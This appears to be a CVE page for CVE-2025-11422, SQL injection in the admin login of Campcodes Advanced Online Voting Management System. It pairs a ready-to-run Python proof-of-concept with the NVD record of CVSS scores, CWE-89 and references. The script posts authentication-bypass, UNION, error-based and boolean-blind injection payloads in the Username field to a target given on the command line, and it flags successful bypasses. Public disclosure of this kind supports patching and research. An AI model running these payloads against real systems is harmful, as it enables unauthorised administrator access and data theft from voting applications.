CVE-2025-11422

# CVE-2025-11422 - Campcodes Advanced Online Voting Management System SQL Injection PoC # Vulnerability: SQL Injection in /admin/login.php via Username parameter # Author: hbesljx # Reference: https://github.com/hbesljx/vul/issues/5 import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" LOGIN_URL = f"{TARGET_URL}/admin/login.php" # SQL Injection payloads for the Username parameter payloads = [ # Authentication bypass "admin' OR '1'='1' -- ", "admin' OR '1'='1' #", "' OR 1=1 -- ", # Union-based injection to extract data "' UNION SELECT 1,2,3 -- ", # Error-based injection "' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) -- ", # Boolean-based blind injection "admin' AND 1=1 -- ", "admin' AND 1=2 -- ", ] def exploit_sqli(target_url): print(f"[*] Targeting: {target_url}") print(f"[*] Login endpoint: {LOGIN_URL}") for i, payload in enumerate(payloads): print(f"\n[+] Testing payload #{i+1}: {payload}") data = { "Username": payload, "Password": "test", "login": "submit" } try: response = requests.post(LOGIN_URL, data=data, timeout=10, allow_redirects=False) print(f" Status Code: {response.status_code}") print(f" Response Length: {len(response.text)}") # Check for successful bypass or data leakage if response.status_code == 302 or "dashboard" in response.text.lower() or "admin" in response.text.lower(): print(f" [!] Possible authentication bypass detected!") elif "error" in response.text.lower() or "sql" in response.text.lower() or "mysql" in response.text.lower(): print(f" [!] Possible SQL error detected - injection confirmed!") else: print(f" [-] No obvious indicators") except requests.exceptions.RequestException as e: print(f" [!] Request failed: {e}") if __name__ == "__main__": exploit_sqli(TARGET_URL)

{"cve": {"id": "CVE-2025-11422", "sourceIdentifier": "[email protected]", "published": "2025-10-08T02:15:41.293", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in Campcodes Advanced Online Voting Management System 1.0. The impacted element is an unknown function of the file /admin/login.php. Such manipulation of the argument Username leads to sql injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:campcodes:advanced_online_voting_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "C9D45DEC-8B0D-4BC9-BAC8-D185783F570F"}]}]}], "references": [{"url": "https://github.com/hbesljx/vul/issues/5", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://vuldb.com/?ctiid.327357", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327357", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.665949", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.campcodes.com/", "source": "[email protected]", "tags": ["Product"]}]}}